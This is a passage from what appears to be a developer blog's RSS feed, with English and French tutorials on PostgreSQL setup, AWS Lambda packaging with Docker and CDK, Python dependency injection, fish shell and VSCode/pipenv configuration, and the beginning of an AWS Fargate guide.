<h2 id="users">Users</h2>
<p><strong>Create user:</strong></p>
<pre tabindex="0"><code>create user your_user with encrypted password &#39;user_password&#39;;
</code></pre><br/>
<p><strong>Grant all priviledges to user on database:</strong></p>
<pre tabindex="0"><code>grant all privileges on database your_db to your_user;
</code></pre><br/>
<h2 id="installation">Installation</h2>
<h3 id="on-centos-7">On Centos 7</h3>
<pre tabindex="0"><code>yum install postgresql-server postgresql-contrib
# Initialize the DB
postgresql-setup initdb
# Start the service
systemctl start postgresql
# Starts with system
systemctl enable postgresql
Change user to postgres and connect to the client to check if it works
su postgres
psql
\l
</code></pre><br/>
<h3 id="on-osx">On OSX</h3>
<pre tabindex="0"><code>brew install postgresql
brew services start postgres
</code></pre><br/>
<h2 id="database-modeler">Database modeler</h2>
<p>It can be very useful to generate the database graph to see all relations betweens tables.</p>
<p>There is a great tool that can help. It is opensource and works perfectly with Postgres 11+. It is called pgmodeler and it is available here:  <a href="https://github.com/pgmodeler/pgmodeler.git">https://github.com/pgmodeler/pgmodeler.git</a></p>
<p>Here is the procedure to install it on OSX. (You need Xcode installed)</p>
<pre tabindex="0"><code>brew install qt
echo &#39;export PATH=&#34;/usr/local/opt/qt/bin:$PATH&#34;&#39; &gt;&gt; ~/.zshrc
source ~/.zshrc
git clone https://github.com/pgmodeler/pgmodeler.git
cd pgmodeler
git checkout the_latest_tag
# Edit the file pgmodeler.pri and replace the variables `PGSQL_LIB = /Library/PostgreSQL/11/lib/libpq.dylib` and `PGSQL_INC = /Library/PostgreSQL/11/include` with respectively `PGSQL_LIB = /usr/local/Cellar/postgresql/11.4/lib/libpq.dylib` and `PGSQL_INC = /usr/local/Cellar/postgresql/11.4/include`
qmake -r CONFIG+=release pgmodeler.pro
make &amp;&amp; make install
open /Applications/pgmodeler.app
</code></pre><br/>
<h2 id="great-python-orm">Great Python ORM</h2>
<p><strong>SQLAlchemy</strong> is a great Python ORM.
Here are few useful links to manage to model your Postgres DB using Python and this library:
<a href="https://docs.sqlalchemy.org/en/13/orm/basic_relationships.html">https://docs.sqlalchemy.org/en/13/orm/basic_relationships.html</a></p>
]]></content>
        </item>
        
        <item>
            <title>Custom Python Packages with AWS lambda and CDK</title>
            <link>https://leandeep.com/custom-python-packages-with-aws-lambda-and-cdk/</link>
            <pubDate>Tue, 18 Jun 2019 21:27:00 +0000</pubDate>
            
            <guid>https://leandeep.com/custom-python-packages-with-aws-lambda-and-cdk/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The purpose of this article is to describe how to execute Python code with custom packages on &lt;strong&gt;AWS Lambda&lt;/strong&gt;. Since there is no way to execute a &lt;code&gt;pip install&lt;/code&gt; on lambda when you use the inline code feature you cannot use external packages. So you are very limited.
Fortunately there is a work around (as usual with AWS). You can package your app with its dependences in a zip file and upload it directly on Lambda. If you use a deployment script (.sh or Makefile) and &lt;strong&gt;AWS CDK&lt;/strong&gt; like I do it becomes very easy to make Lambda execute any Python code.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>The purpose of this article is to describe how to execute Python code with custom packages on <strong>AWS Lambda</strong>. Since there is no way to execute a <code>pip install</code> on lambda when you use the inline code feature you cannot use external packages. So you are very limited.
Fortunately there is a work around (as usual with AWS). You can package your app with its dependences in a zip file and upload it directly on Lambda. If you use a deployment script (.sh or Makefile) and <strong>AWS CDK</strong> like I do it becomes very easy to make Lambda execute any Python code.</p>
<br/>
<h2 id="docker">Docker</h2>
<p>I use Docker and an <code>Amazon AMI Linux</code> base image to build everything. At least I am sure that everything I build fits the target execution environment (AWS Lambda).</p>
<p>Dockerfile example:</p>
<pre tabindex="0"><code>FROM amazonlinux:latest

RUN yum update -y 
RUN yum install -y gcc-c++ pkgconfig python3-devel redhat-rpm-config python3-pip

RUN mkdir -p /app
ADD requirements-prod.txt /app/requirements.txt
ADD my_script.py /app

WORKDIR /app
RUN pip3 install -t . -Ur requirements.txt
RUN zip -r zip.zip . 

CMD python3 my_script.py
</code></pre><p>I use this Docker image to deploy on AWS Lambda and also run my Python script locally if neccessary.
As you can see the pip dependences are installed in the current directory /app and everything is zipped to be deployed on AWS Lambda.</p>
<br/>
<h2 id="deployment">Deployment</h2>
<p>With few basic commands and a CDK script it becomes handy to automate the whole deployment of your AWS infrastructure and create a Lambda function that will use your previously generated zip file containing your Python code with custom dependences.</p>
<p>Here is an example of deployment script you can write:</p>
<pre tabindex="0"><code># Create the Docker image based on Amazonlinux
docker build -t lambda-function .

# Verify the function works and creates a container to produce a zip file
docker run -it lambda-function

# Get the last container ID
container_id=`docker ps --last 1 --format &#34;{{.ID}}&#34;`

# Print the last container ID
echo $container_id

# Copy the zip.zip file from the Docker container to the host
docker cp $container_id:/app/zip.zip .

# Deploy the AWS infra with AWS Lambda function. The latter will use the zip.zip file located inside the current directory of the host
cdk deploy --require-approval=never 
</code></pre><p>Here is a CDK script example to deploy an AWS Lambda function with a zip file. In the following example the zip file is located locally. It could have been located in AWS S3.</p>
<blockquote>
<p>I use the package version 0.31.0 for aws-cdk.aws-lambda and aws-cdk.cdk</p></blockquote>
<pre tabindex="0"><code>from aws_cdk import (
    aws_lambda as lambda_,
    cdk,
)

class BonjourExampleLambda(cdk.Stack):
    def __init__(self, scope: cdk.Construct, id: str, **kwargs) -&gt; None:
        super().__init__(scope, id, *kwargs)
        
		lambdaFn = lambda_.Function(
    		self,
		    &#34;exampleLambda&#34;,
		    code=lambda_.Code.asset(&#34;zip.zip&#34;),
		    handler=&#34;my_script.main_function_to_call&#34;,
		    timeout=30,
		    runtime=lambda_.Runtime.PYTHON37,
            tracing=lambda_.Tracing.Active,
		)
  
app = cdk.App()
BonjourExampleLambda(app, &#34;Example-lambda-cdk&#34;)
app.run()
</code></pre><blockquote>
<p>If some of your dependences require shared objects (<code>*.so</code> files) to work you can also create one or few &ldquo;Layer(s)&rdquo; that contain the <code>*.so</code> files. AWS Lambda will use them and your dependences should work.</p></blockquote>
<br/>
<h2 id="conclusion">Conclusion</h2>
<p><strong>Firstly use AWS CDK ! Secondly if you need to execute custom packages on Lambda you can ! Docker is great alternative (with AWS Fargate if you want to manage nothing) but it is not always the best solution. It depends on your team, your skills, your budget and above all your use case&hellip;</strong></p>
<p>Obviously this is a simple example but you could build a pretty cool and modern architecture with these tools. This is especially true if you investigate in the AWS CDK (that use AWS Cloud Formation under the hood)&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Dependency Injection in Python</title>
            <link>https://leandeep.com/dependency-injection-in-python/</link>
            <pubDate>Wed, 12 Jun 2019 19:28:00 +0000</pubDate>
            
            <guid>https://leandeep.com/dependency-injection-in-python/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;There are many articles available online that talk about dependency injection (DI) in Python.
Most of them suggest complexe methods for something that can be finally very easy to do using the built-in Python mechanisms.&lt;/p&gt;
&lt;p&gt;Working with dependency injection is a good thing since it makes your code more testable and decoupled.&lt;/p&gt;
&lt;p&gt;To implement dependency injection we are going to use the &lt;code&gt;super&lt;/code&gt; method. Super calls the next dependency in the &lt;strong&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/C3_linearization&#34;&gt;Method Resolution Order&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>There are many articles available online that talk about dependency injection (DI) in Python.
Most of them suggest complexe methods for something that can be finally very easy to do using the built-in Python mechanisms.</p>
<p>Working with dependency injection is a good thing since it makes your code more testable and decoupled.</p>
<p>To implement dependency injection we are going to use the <code>super</code> method. Super calls the next dependency in the <strong><a href="https://en.wikipedia.org/wiki/C3_linearization">Method Resolution Order</a></strong>.</p>
<br/>
<h2 id="example">Example</h2>
<p>Let&rsquo;s say I am developing an (kind of) autonomous surveillance camera composed of a RC car with a camera on top of it.</p>
<p>I have the following class to steer my car:</p>
<p><em>Create a file autonomous_surveillance_car.py</em></p>
<pre tabindex="0"><code>class Car(object):
    &#34;&#34;&#34;
    Class that can drive a RCC car
    &#34;&#34;&#34;

    def turn_on(self):
        print(&#34;Starting car...&#34;)

    def move_forward(self):
        print(&#34;Going forward...&#34;)

    def move_backward(self):
        print(&#34;Going backward...&#34;)

    def turn_right(self):
        print(&#34;Turning right...&#34;)

    def turn_left(self):
        print(&#34;Turning left...&#34;)


class AutonomousCar(Car):
    &#34;&#34;&#34;
    Automates the car directions to spy the house
    &#34;&#34;&#34;

    def spy(self, times=10):
        super().turn_on()
        for i in range(times):
            super().move_forward()
            super().turn_right()
            super().move_forward()
            super().turn_right()
            super().move_forward()
            super().turn_right()
            super().move_forward()
            super().turn_right()
            # sleep x minutes


if __name__ == &#39;__main__&#39;:
    auto_car = AutonomousCar()
    auto_car.spy()
</code></pre><p>Now I want to write tests for my autonomous car class car but I don&rsquo;t want that my car starts going forward. This can be dangerous. I want to use a Mock. But I don&rsquo;t want to modify the <code>AutonomousCar(Car)</code> line and replace the <code>Car</code> dependency with something like <code>MockCar</code> when I want to execute my tests.</p>
<p>The solution is to use a dependency injection:</p>
<p><em>Create a file called test_autonomous_surveillance_car.py</em></p>
<pre tabindex="0"><code>import unittest
from autonomous_surveillance_car import AutonomousCar, Car


class MockCar(Car):
    &#34;&#34;&#34;
    Simulates a read RC car by recording tasks
    &#34;&#34;&#34;

    def __init__(self):
        self.tasks = []

    def turn_on(self):
        self.tasks.append(&#34;Turning on car&#34;)

    def move_forward(self):
        self.tasks.append(&#34;Going forward&#34;)

    def move_backward(self):
        self.tasks.append(&#34;Going backward&#34;)

    def turn_right(self):
        self.tasks.append(&#34;Turning right&#34;)

    def turn_left(self):
        self.tasks.append(&#34;Turning left&#34;)


class MockedAutonomousCar(AutonomousCar, MockCar):
    &#34;&#34;&#34;
    Inject a mock car into the car dependency
    &#34;&#34;&#34;


class TestAutonomousCar(unittest.TestCase):

    def test_spy(self):
        mocked_auto_car = MockedAutonomousCar()
        mocked_auto_car.spy()
        expected = ([&#34;Turning on car&#34;] +
                    [&#34;Going forward&#34;, &#34;Turning right&#34;] * 40)
        self.assertEqual(mocked_auto_car.tasks, expected)


if __name__ == &#34;__main__&#34;:
    unittest.main()
</code></pre><p>Now execute the test:</p>
<pre tabindex="0"><code>python -i test_autonomous_surveillance_car.py
</code></pre><p>Result:</p>
<pre tabindex="0"><code>.
----------------------------------------------------------------------
Ran 1 test in 0.000s

OK
</code></pre><p>In the prompt type <code>help(MockedAutonomousCar)</code>.</p>
<p>You will see the Method Resolution Order (the dependencies order used when <code>super</code> is called) of the <code>MockedAutonomousCar</code> Class:</p>
<pre tabindex="0"><code>Help on class MockedAutonomousCar in module __main__:

class MockedAutonomousCar(autonomous_surveillance_car.AutonomousCar, MockCar)
 |  Inject a mock car into the car dependency
 |
 |  Method resolution order:
 |      MockedAutonomousCar
 |      autonomous_surveillance_car.AutonomousCar
 |      MockCar
 |      autonomous_surveillance_car.Car
 |      builtins.object
 |

...
</code></pre><br/>
<h2 id="conclusion">Conclusion</h2>
<p>We see that our <code>MockedAutonomousCar</code> class uses depends on <code>autonomous_surveillance_car.AutonomousCar</code> class that depends on <code>MockCar</code> class. It does not depends on the <code>Car</code> class and we did not change our codebase. Moreover the implementation was very easy and just took 1 line of code.</p>
]]></content>
        </item>
        
        <item>
            <title>Passer de oh-my-zsh à oh-my-fish</title>
            <link>https://leandeep.com/passer-de-oh-my-zsh-%C3%A0-oh-my-fish/</link>
            <pubDate>Thu, 23 May 2019 15:07:00 +0000</pubDate>
            
            <guid>https://leandeep.com/passer-de-oh-my-zsh-%C3%A0-oh-my-fish/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment configurer le terminal Fish sur Mac.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si Homebrew n&amp;rsquo;est pas déjà installé sur votre poste, faites le via la commande. It&amp;rsquo;s worth it ! &lt;code&gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h1 id=&#34;pourquoi-je-teste-fish-shell-&#34;&gt;Pourquoi je teste Fish Shell ?&lt;/h1&gt;
&lt;p&gt;Pour ces features:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;- Autosuggestions as you type
- Syntax highlighting with extensive error checking.
- Searchable command history.
- 256 terminal colors
- Advanced tab completion.
- Web-based configuration
- A special help command gives access to all the fish documentation in the user’s web browser
- Error messages designed to actually tell the user what went wrong and what can be done about it
- Universal variables
- Support for the X clipboard
- Change fish setting by editing the ~/.config/fish/config.fish file
- Man page completions
- Fully scriptable with syntax that is simple, clean, and consistent
- Features work out of the box without any configuration
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h1 id=&#34;installation-de-oh-my-fish&#34;&gt;Installation de oh-my-fish&lt;/h1&gt;
&lt;h2 id=&#34;installer-fish&#34;&gt;Installer Fish&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install fish

# Ajoutez fish shell dans la liste des terminaux sur Mac
echo &amp;#34;/usr/local/bin/fish&amp;#34; | sudo tee -a /etc/shells

# Configurez fish pour qu&amp;#39;il soit utilisé par défaut
chsh -s /usr/local/bin/fish

# Si vous voulez retourner à zsh ou autre 
# $ cat /etc/shells
# $ chsh -s /bin/zsh ## pour retourner à zsh
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installer-oh-my-fish&#34;&gt;Installer oh-my-fish&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -L https://get.oh-my.fish | fish
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installer-bob-the-fish-theme&#34;&gt;Installer &amp;ldquo;bob the fish&amp;rdquo; theme&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;omf install bobthefish

# Installer les fonts utilisées par le thème
brew tap caskroom/fonts
brew cask install font-firacode-nerd-font

# ou si la dernière commande ne fonctionne pas
# brew install homebrew/cask-fonts/font-firacode-nerd-font
set -U theme_nerd_fonts yes
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configurer-la-font-pour-le-terminal&#34;&gt;Configurer la font pour le Terminal&lt;/h2&gt;
&lt;p&gt;Dans l&amp;rsquo;apparence du terminal sélectionnez la police &lt;code&gt;FuraCode Nerd Font&lt;/code&gt; en Regular taille 14.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment configurer le terminal Fish sur Mac.</p>
<blockquote>
<p>Si Homebrew n&rsquo;est pas déjà installé sur votre poste, faites le via la commande. It&rsquo;s worth it ! <code>/usr/bin/ruby -e &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&quot;</code></p></blockquote>
<br/>
<h1 id="pourquoi-je-teste-fish-shell-">Pourquoi je teste Fish Shell ?</h1>
<p>Pour ces features:</p>
<pre tabindex="0"><code>- Autosuggestions as you type
- Syntax highlighting with extensive error checking.
- Searchable command history.
- 256 terminal colors
- Advanced tab completion.
- Web-based configuration
- A special help command gives access to all the fish documentation in the user’s web browser
- Error messages designed to actually tell the user what went wrong and what can be done about it
- Universal variables
- Support for the X clipboard
- Change fish setting by editing the ~/.config/fish/config.fish file
- Man page completions
- Fully scriptable with syntax that is simple, clean, and consistent
- Features work out of the box without any configuration
</code></pre><br/>
<h1 id="installation-de-oh-my-fish">Installation de oh-my-fish</h1>
<h2 id="installer-fish">Installer Fish</h2>
<pre tabindex="0"><code>brew install fish

# Ajoutez fish shell dans la liste des terminaux sur Mac
echo &#34;/usr/local/bin/fish&#34; | sudo tee -a /etc/shells

# Configurez fish pour qu&#39;il soit utilisé par défaut
chsh -s /usr/local/bin/fish

# Si vous voulez retourner à zsh ou autre 
# $ cat /etc/shells
# $ chsh -s /bin/zsh ## pour retourner à zsh
</code></pre><br/>
<h2 id="installer-oh-my-fish">Installer oh-my-fish</h2>
<pre tabindex="0"><code>curl -L https://get.oh-my.fish | fish
</code></pre><br/>
<h2 id="installer-bob-the-fish-theme">Installer &ldquo;bob the fish&rdquo; theme</h2>
<pre tabindex="0"><code>omf install bobthefish

# Installer les fonts utilisées par le thème
brew tap caskroom/fonts
brew cask install font-firacode-nerd-font

# ou si la dernière commande ne fonctionne pas
# brew install homebrew/cask-fonts/font-firacode-nerd-font
set -U theme_nerd_fonts yes
</code></pre><br/>
<h2 id="configurer-la-font-pour-le-terminal">Configurer la font pour le Terminal</h2>
<p>Dans l&rsquo;apparence du terminal sélectionnez la police <code>FuraCode Nerd Font</code> en Regular taille 14.</p>
<br/>
<h2 id="configurer-la-font-pour-vscode">Configurer la font pour VSCode</h2>
<p>Aller dans les préférences et cliquez sur settings. Cliquez sur le bouton pour éditer directement les settings au format json (on ne perd pas de temps) et ajoutez les lignes suivantes au JSON:</p>
<pre tabindex="0"><code>&#34;terminal.integrated.shell.osx&#34;: &#34;/usr/local/bin/fish&#34;,
&#34;terminal.integrated.fontSize&#34;: 14,
&#34;terminal.integrated.fontFamily&#34;: &#34;FuraCode Nerd Font&#34;
</code></pre><p>Cela donne ceci pour le terminal intégré à VSCode :</p>
<p><img src="/images/vscode_terminal.png" alt="image"></p>
<p>Pas mal !</p>
<br/>
<h1 id="advanced-tips">Advanced Tips</h1>
<h2 id="installer-des-plugins">Installer des plugins</h2>
<p>Avec fisher <a href="https://github.com/jorgebucaran/fisher">https://github.com/jorgebucaran/fisher</a>
Voici une liste de plugins <a href="https://github.com/jorgebucaran/awesome-fish">https://github.com/jorgebucaran/awesome-fish</a></p>
<pre tabindex="0"><code>curl https://git.io/fisher --create-dirs -sLo ~/.config/fish/functions/fisher.fish

# Puis 
fisher add jorgebucaran/fish-nvm
fisher add kennethreitz/fish-pipenv

# Uninstall plugin: fisher rm jorgebucaran/fish-nvm
</code></pre><p>Reload la config Fish</p>
<pre tabindex="0"><code>source ~/.config/fish/config.fish
</code></pre><br/>
<h2 id="custom-thème">Custom thème</h2>
<p>Forkez le thème bob the fish et customizez le. Le README est très bien fait.</p>
<pre tabindex="0"><code>https://github.com/oh-my-fish/theme-bobthefish
</code></pre><br/>
<h2 id="démarrer-des-sessions-tmux-automatiquement-dans-iterm2">Démarrer des sessions tmux automatiquement dans iTerm2</h2>
<blockquote>
<p>Vérifiez que tmux est bien installé <code>brew install tmux</code></p></blockquote>
<pre tabindex="0"><code>omf install tmux-zen

# to uninstall tmux-zen
# omf uninstall tmux-zen
</code></pre><br/>
<h2 id="les-autres-utilitaires-indispensables">Les autres utilitaires indispensables</h2>
<p>A mettre dans un fichier bash ceci en haut: <code>#!/usr/bin/env bash</code></p>
<pre tabindex="0"><code># Install Xcode Command Line Tools.
xcode-select --install

# Install Homebrew.
/usr/bin/ruby -e &#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&#34;


# Install brew basics (auto-updating).
brew install terminal-notifier
brew tap domt4/autoupdate
brew autoupdate --start --upgrade --cleanup --enable-notifications

brew install terraform
brew install caskroom/cask/virtualbox
brew install caskroom/cask/minikube
brew install openshift-cli
brew install kubernetes-cli
brew install kubernetes-helm

# Downloader
brew install youtube-dl
brew install wget

brew install fish
brew install grc
brew install direnv
brew install nnn
brew install thefuck
brew install autojump
brew install googler
brew install mas
brew install htop
brew install neofetch
brew install mosh

brew install pipenv

# Install git utilities.
brew install git-open
brew install gist

# Install fun stuff.
brew install fortune
brew install cowsay
brew install sl
gem install lolcat

# Install network utilities
brew install sshuttle
npm install --global speed-test
brew install tor
brew install torsocks
brew install telnet

# Twitter utilities.
gem install t

# AWS
brew install amazon-ecs-cli
brew install awscli

# Video
brew install ffmpeg

# Blog
brew install hugo
npm install -g hexo

# Dev
npm i -g http-server
brew install mongodb
brew install tree
brew install watch
</code></pre>]]></content>
        </item>
        
        <item>
            <title>VSCode et les pipenv</title>
            <link>https://leandeep.com/vscode-et-les-pipenv/</link>
            <pubDate>Wed, 22 May 2019 18:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/vscode-et-les-pipenv/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Pipenv&lt;/code&gt; est un utilitaire pratique permettant de gérer facilement les dépendances de ses projets avec des environnements virtuels.
C&amp;rsquo;est l&amp;rsquo;équivalent de &lt;code&gt;npm&lt;/code&gt; en NodeJS. Il est un peu plus avancé que les &lt;code&gt;virtualenv&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Voici comment utiliser pipenv avec Visual Studio Code.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;virtual-environment-création--pipenv-installation&#34;&gt;Virtual environment création &amp;amp; pipenv installation&lt;/h2&gt;
&lt;p&gt;Imaginez que vous cloniez un projet qui contient un fichier Pipfile. La première chose à faire est d&amp;rsquo;excuter la commande &lt;code&gt;pipenv install --dev --python version_installee_par_pyenv&lt;/code&gt;. Cette commande va créer un environnement virtuel dans le répertoire suivant &lt;code&gt;~/.local/share/virtualenvs/&lt;/code&gt; ou dans &lt;code&gt;~/.virtualenvs/&lt;/code&gt; en fonction de votre OS et paramètres d&amp;rsquo;installation.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p><code>Pipenv</code> est un utilitaire pratique permettant de gérer facilement les dépendances de ses projets avec des environnements virtuels.
C&rsquo;est l&rsquo;équivalent de <code>npm</code> en NodeJS. Il est un peu plus avancé que les <code>virtualenv</code>.</p>
<p>Voici comment utiliser pipenv avec Visual Studio Code.</p>
<br/>
<h2 id="virtual-environment-création--pipenv-installation">Virtual environment création &amp; pipenv installation</h2>
<p>Imaginez que vous cloniez un projet qui contient un fichier Pipfile. La première chose à faire est d&rsquo;excuter la commande <code>pipenv install --dev --python version_installee_par_pyenv</code>. Cette commande va créer un environnement virtuel dans le répertoire suivant <code>~/.local/share/virtualenvs/</code> ou dans <code>~/.virtualenvs/</code> en fonction de votre OS et paramètres d&rsquo;installation.</p>
<blockquote>
<p>Bien sûr pipenv doit être installé sur votre poste. Pour ce faire, il suffit d&rsquo;exécuter la commande suivante: <code>pip3 install --user pipenv</code>.</p></blockquote>
<br/>
<h2 id="pyenv">pyenv</h2>
<p>Pyenv vous permet d&rsquo;installer des versions de Python très facilement. C&rsquo;est l&rsquo;équivalent de <code>nvm</code> en NodeJS.</p>
<p>Par exemple <code>pyenv install 3.7.1</code> permet de télécharger et d&rsquo;installer Python 3.7.1 sur son poste.</p>
<blockquote>
<p>Note: zlib et sqlite sont nécessaires pour que pyenv fonctionne. Il faut exécuter les commandes suivantes: <code>brew install zlib</code> et <code>brew install sqlite</code></p></blockquote>
<blockquote>
<p>Si vous utilisez Fish Shell la config suivante est à ajouter dans votre fichier <code>~/.config/fish/config.fish</code>:</p></blockquote>
<pre tabindex="0"><code># pyenv
export PYENV_ROOT=&#34;$HOME/.pyenv&#34;
export PATH=&#34;$PYENV_ROOT/bin:$PATH&#34;
#pyenv init - | source ## permet de démarrer un virtualenv au démarrage d&#39;une session d&#39;un terminal
#pyenv rehash &gt;/dev/null ^&amp;1

# Build python

# For compilers to find zlib and sqlite you may need to set:
export LDFLAGS=&#34;$LDFLAGS -L/usr/local/opt/zlib/lib&#34;
export LDFLAGS=&#34;$LDFLAGS -L/usr/local/opt/sqlite/lib&#34;
export CPPFLAGS=&#34;$CPPFLAGS -I/usr/local/opt/zlib/include&#34;
export CPPFLAGS=&#34;$CPPFLAGS -I/usr/local/opt/sqlite/include&#34;

# For pkg-config to find zlib and sqlite you may need to set:
export PKG_CONFIG_PATH=&#34;$PKG_CONFIG_PATH /usr/local/opt/zlib/lib/pkgconfig&#34;
export PKG_CONFIG_PATH=&#34;$PKG_CONFIG_PATH /usr/local/opt/sqlite/lib/pkgconfig&#34;
</code></pre><br/>
<h2 id="vscode-config">VSCode config</h2>
<p>Exécutez la commande suivante pour configurer VSCode pour votre projet:</p>
<pre tabindex="0"><code>mkdir .vscode &amp;&amp; touch .vscode/settings.json
</code></pre><br/>
<p><strong>Contenu du fichier <code>.vscode/settings.json</code></strong>. Je suppose que vos tests sont réalisés avec Pytest:</p>
<pre tabindex="0"><code>{
    &#34;python.pythonPath&#34;: &#34;/Users/olivier/.virtualenvs/MON_VIRTUAL_ENV/bin/python&#34;,
    &#34;python.linting.enabled&#34;: true,
    &#34;python.linting.flake8Enabled&#34;: true,
    &#34;python.formatting.provider&#34;: &#34;black&#34;,
    &#34;editor.rulers&#34;: [
        79
    ]
}
</code></pre><p>Remplacez <code>/Users/olivier/.virtualenvs/MON_VIRTUAL_ENV/bin/python</code> par votre propre virtualenv créé lors de l&rsquo;exécution de la commande <code>pipenv install --dev --python version_installee_par_pyenv</code>. Pour connaître le path de votre virtualenv vous pouvez utiliser la commande <code>pipenv --py</code>.</p>
<blockquote>
<p>Note: Si un terminal était déjà ouvert dans VSCode et que le virtualenv n&rsquo;a pas été pris en compte, on peut utiliser la commande <code>pipenv shell</code> pour basculer dessus.</p></blockquote>
<p>Et voilà c&rsquo;est tout, c&rsquo;est simple !</p>
<blockquote>
<p>Si vous allez dans l&rsquo;onglet Tests dans VScode et que vos tests sont automatiquement détectés, c&rsquo;est que tout est bien configuré.</p></blockquote>
<br/>
<h2 id="alternative-virtualenvwrapper">Alternative (virtualenvwrapper)</h2>
<p>Utiliser Virtualenvwrapper <a href="https://virtualenvwrapper.readthedocs.io">https://virtualenvwrapper.readthedocs.io</a>. Cela fonctionne extrèmement bien.</p>
<br/>
<p>Pour créer un environnement il suffit d&rsquo;utiliser la commande suivante:</p>
<pre tabindex="0"><code>mkvirtualenv -p /usr/local/bin/python3.7 -a . ai_env
</code></pre><br/>
<p>Pour dire à VSCode de proposer un interprêteur Python créé dans un virtualenv(wrapper) lorsque l&rsquo;on exécute la commande <code>cmd + shift + p --&gt; Python: Select interpreter</code>, il suffit de lui ajouter la variable globale ci-dessous et de le redémarrer.</p>
<pre tabindex="0"><code>&#34;python.venvPath&#34;: &#34;$HOME/.virtualenvs&#34;,

# ou un autre répertoire si vous avez configuré autre chose comme répertoire par défaut pour virtualenvwrapper dans votre ~/.zshrc...
</code></pre><br/>
<h2 id="quick-tip">Quick tip</h2>
<p>Il est possible de convertir un fichier <code>Pipfile.lock</code> en <code>requirements.txt</code> grâce à la commande suivante:</p>
<pre tabindex="0"><code>jq -r &#39;.default
        | to_entries[]
        | .key + .value.version&#39; \
    Pipfile.lock &gt; requirements.txt
    
</code></pre><br/>
<p>Le petit alias qui va bien pour son <code>~/.zshrc</code>:</p>
<pre tabindex="0"><code>alias pipfile_to_requirements=&#39;
jq -r &#34;.default
        | to_entries[]
        | .key + .value.version&#34; \
    Pipfile.lock &gt; requirements.txt&#39;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Deployer une image Docker sur AWS Fargate</title>
            <link>https://leandeep.com/deployer-une-image-docker-sur-aws-fargate/</link>
            <pubDate>Tue, 07 May 2019 21:17:00 +0000</pubDate>
            
            <guid>https://leandeep.com/deployer-une-image-docker-sur-aws-fargate/</guid>
            <description>&lt;p&gt;Voici la procédure pour déployer des containers Docker sur Fargate.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;rôle-ecstaskexecutionrole&#34;&gt;Rôle ecsTaskExecutionRole&lt;/h2&gt;
&lt;p&gt;Vérifier l&amp;rsquo;existance de ce rôle dans l&amp;rsquo;IAM.
S&amp;rsquo;il n&amp;rsquo;existe pas, il faut le créer:&lt;/p&gt;
&lt;p&gt;Créer un fichier appelé &lt;code&gt;task-execution-assume-role.json&lt;/code&gt; avec ce contenu:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{
  &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,
  &amp;#34;Statement&amp;#34;: [
    {
      &amp;#34;Sid&amp;#34;: &amp;#34;&amp;#34;,
      &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,
      &amp;#34;Principal&amp;#34;: {
        &amp;#34;Service&amp;#34;: &amp;#34;ecs-tasks.amazonaws.com&amp;#34;
      },
      &amp;#34;Action&amp;#34;: &amp;#34;sts:AssumeRole&amp;#34;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Créer une tâche d&amp;rsquo;exécution de rôle:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;aws iam --region eu-west-1 create-role --role-name ecsTaskExecutionRole --assume-role-policy-document file://task-execution-assume-role.json
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attacher la tâche d&amp;rsquo;exécution de rôle:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure pour déployer des containers Docker sur Fargate.</p>
<br/>
<h2 id="rôle-ecstaskexecutionrole">Rôle ecsTaskExecutionRole</h2>
<p>Vérifier l&rsquo;existance de ce rôle dans l&rsquo;IAM.
S&rsquo;il n&rsquo;existe pas, il faut le créer:</p>
<p>Créer un fichier appelé <code>task-execution-assume-role.json</code> avec ce contenu:</p>
<pre tabindex="0"><code>{
  &#34;Version&#34;: &#34;2012-10-17&#34;,
  &#34;Statement&#34;: [
    {
      &#34;Sid&#34;: &#34;&#34;,
      &#34;Effect&#34;: &#34;Allow&#34;,
      &#34;Principal&#34;: {
        &#34;Service&#34;: &#34;ecs-tasks.amazonaws.com&#34;
      },
      &#34;Action&#34;: &#34;sts:AssumeRole&#34;
    }
  ]
}
